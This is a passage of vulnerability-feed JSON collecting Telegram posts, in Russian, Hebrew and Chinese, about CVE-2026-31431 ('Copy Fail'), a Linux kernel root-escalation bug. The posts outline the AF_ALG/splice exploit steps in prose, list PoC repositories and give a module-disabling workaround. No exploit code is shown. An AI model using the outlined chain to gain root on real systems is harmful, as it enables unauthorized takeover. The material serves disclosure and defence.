\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0444\u0430\u0439\u043b\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f, \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 Bugcrowd, \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f - \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430, \u043d\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 2017 \u0433\u043e\u0434\u0430 \u0432 algif_aead \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043a\u044d\u0448\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AEAD, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u043a\u0435\u0442 AF_ALG.\n\n\u041d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u0442\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c splice() \u0432 \u044d\u0442\u043e\u043c \u0441\u043e\u043a\u0435\u0442\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043d \u043d\u0435 \u0432\u043b\u0430\u0434\u0435\u0435\u0442\u00bb.\n\n\u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0447\u0435\u0442\u043a\u043e \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 \u0433\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u044f\u0434\u0440\u0430. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0432 Xint.io \u0435\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435: \u043f\u043e\u0440\u0442\u0430\u0442\u0438\u0432\u043d\u0430, \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440\u043d\u0430, \u0441\u043a\u0440\u044b\u0442\u043d\u0430 \u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0435\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux.", "creation_timestamp": "2026-04-30T11:37:09.000000Z"}, {"uuid": "617440b9-f58c-4ec8-91d3-91466589ed20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberSecurityIL/84118", "content": "\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05d7\u05d5\u05dc\u05e9\u05d4 CVE-2026-31431 \u05e9\u05e7\u05d9\u05d1\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d9\u05e0\u05d5\u05d9 copy.fail.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05de\u05e9\u05ea\u05de\u05e9 \u05de\u05e7\u05d5\u05de\u05d9 \u05dc\u05d4\u05e2\u05dc\u05d5\u05ea \u05d0\u05ea \u05e8\u05de\u05ea \u05d4\u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05dc\u05d0\u05d3\u05de\u05d9\u05df, \u05d5\u05de\u05e9\u05e4\u05d9\u05e2\u05d4 \u05db\u05de\u05e2\u05d8 \u05e2\u05dc \u05db\u05dc \u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05de\u05d0\u05d6 2017.\n\n\u05e4\u05e8\u05d8\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd \u05db\u05d0\u05df:\nhttps://copy.fail/\n\nhttps://t.me/CyberSecurityIL/8855", "creation_timestamp": "2026-04-30T12:10:00.000000Z"}, {"uuid": "6a69a951-a178-4e51-a9bd-2b3848333ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/zaqwNqROxErLoAZPLGjrhKFpw_N1uc9fU_v0iMfTvi3pqoU", "content": "", "creation_timestamp": "2026-04-30T17:35:09.000000Z"}, {"uuid": "789663c9-b676-429d-a4b7-482b36fe80ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/uz1G0onC-r3WtTIw0HLlakU1YJEK6W_ZeyIZzJtVrph5nPM", "content": "", "creation_timestamp": "2026-05-01T05:24:17.000000Z"}, {"uuid": "c9663542-08f2-4986-accc-3f72114ac747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82399", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a fix_CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kdjnb\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 00:57:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u7834\u574fCVE-2026-31431\u6240\u9700\u7684\u6f0f\u6d1e\u7ec4\u4ef6\uff0c\u4ece\u800c\u8fbe\u5230\u65e0\u6cd5\u901a\u8fc7CVE-2026-31431\u63d0\u6743\u3002\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T01:00:04.000000Z"}, {"uuid": "5397ede4-bb02-4217-9073-c9b785c0ddb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ptescalator/714", "content": "Copy.Fail \ud83d\udc27\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u043e\u0439, \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0448\u0430\u0433\u043e\u0432:\n\n1\ufe0f\u20e3 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u043a\u0435\u0442 AF_ALG \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 AEAD-\u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n\n2\ufe0f\u20e3 \u0427\u0435\u0440\u0435\u0437 splice() \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u044d\u0448\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u0431\u0443\u0444\u0435\u0440 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438;\n\n3\ufe0f\u20e3 \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 authencesn \u0434\u0430\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c 4 \u0431\u0430\u0439\u0442 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u044d\u0448\u0430;\n\n4\ufe0f\u20e3 \u042f\u0434\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 setuid-\u0444\u0430\u0439\u043b \u0438\u0437 \u043a\u044d\u0448\u0430 \u2192 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0441\u0445\u043e\u0436\u0430 \u0441 Dirty Pipe (CVE-2022-0847), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b:\n\n\u2022 pipe \u2014 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043e\u0434\u043d\u043e\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445;\n\n\u2022 splice \u2014 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0432 PT Sandbox \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u041f\u041e \u0432 \u043e\u0431\u0440\u0430\u0437\u0435 Astra Linux, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Copy Fail \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0432 PT Sandbox \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e suid-\u0444\u0430\u0439\u043b\u044b, \u043d\u043e \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u0435\u043b\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u043c\u0438.\n\n\u041a\u0430\u043a \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \ud83d\udd27\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0435 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2014 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u044f\u0434\u0440\u043e. \u041f\u0430\u0442\u0447 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 a664bf3d603d. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 29 \u0430\u043f\u0440\u0435\u043b\u044f. \u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430.\n\n\u0415\u0441\u043b\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead:\n\n\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif-aead.conf\n\nrmmod algif_aead 2>/dev/null\n\n#cve #tip\n@ptescalator", "creation_timestamp": "2026-04-30T14:57:47.000000Z"}, {"uuid": "eae8e270-7ae3-4621-b321-42ae800c2132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82406", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a modrosnlr5\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ROSNLR5\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 02:58:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux Kernel LPE PoC (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T03:00:04.000000Z"}, {"uuid": "e49a4bf7-1364-4dd0-ac00-594f38f2d7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82412", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ashok523\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 03:38:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nhe recently disclosed CVE-2026-31431 \u2014 also known as Copy Fail \u2014 is not something to take lightly. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T04:00:04.000000Z"}, {"uuid": "c4b76f63-f90b-43e1-9f49-252c46319142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/KspXoTAZwNnyoY0fEBjlny_6gTq9EiPaKDTUOSCE9_4iY-U", "content": "", "creation_timestamp": "2026-04-29T23:00:12.000000Z"}, {"uuid": "1418487a-3d27-4174-b26c-8c75938c38ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82451", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HulnotHutu\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 08:48:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u5bf9 CVE-2026-31431 \u7684\u590d\u73b0\u5206\u6790\u3001C \u6539\u7f16\u7684 exp\u3002\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T09:00:04.000000Z"}, {"uuid": "ab57514e-18c6-43ae-a3de-7654c4f2e959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/VZeeypARXkvMlULXcP2IjG4vReJ0t9VhcOi0vz0KF3ybbfY", "content": "", "creation_timestamp": "2026-05-01T21:00:04.000000Z"}, {"uuid": "4ed23d9a-3616-49da-b127-07ce02c041fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/7QlwzNIR_X5g9vTBRsuXOB5NZOCwzi6d7HbUehnl_JOO7Qs", "content": "", "creation_timestamp": "2026-05-02T03:00:04.000000Z"}, {"uuid": "2166fef8-c7ef-4595-b83d-2c862ee48a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Pn0o2pCSOYvgO1iCuzKUDmBM3bN6kcVxb6taAGbSrxeSQWE", "content": "", "creation_timestamp": "2026-05-01T11:00:13.000000Z"}, {"uuid": "deaafdca-b2e6-4d06-83f0-46a1f2f77277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/IgMXaUeI6SNBAHCh-M4SenGrw1gGeF6CA1UICLI_4bYZDIs", "content": "", "creation_timestamp": "2026-05-01T15:00:06.000000Z"}, {"uuid": "ec0d8629-3aa3-4700-bc23-b07c01ea1d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/bldpaU4Fd3K5P_BYQnPbX8yM0aEM2e48CWOaj1lIbI-n9P0", "content": "", "creation_timestamp": "2026-05-01T15:00:14.000000Z"}, {"uuid": "4ff53f86-fcac-4c4c-9fc8-c24639209548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Bh4iyBQIMN2Hl9Jl9GcG_tuPw1Psk_odE0qn4w68HKrpiOc", "content": "", "creation_timestamp": "2026-05-01T03:00:05.000000Z"}, {"uuid": "1b6bea9d-72e2-4ed9-a9dd-c982da799ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82481", "content": "\ud83d\udea8 GitHub 